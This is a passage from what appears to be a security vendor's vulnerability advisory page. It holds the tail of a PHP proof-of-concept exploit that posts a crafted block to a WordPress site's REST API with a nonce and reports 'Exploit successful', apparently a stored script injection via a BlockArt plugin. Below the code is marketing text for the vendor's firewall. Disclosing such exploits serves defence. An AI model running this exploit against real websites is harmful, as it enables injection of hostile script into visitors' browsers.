curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));

$response = curl_exec($ch);
curl_close($ch);

// Step 5: Verify exploitation
if (strpos($response, 'blockart-counter') !== false) {
    echo "Exploit successful! Visit: " . $target_url . "/?p=" . $post_id . "n";
    echo "The page will execute: " . htmlspecialchars($payload) . "n";
} else {
    echo "Exploit failed. Check credentials and permissions.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School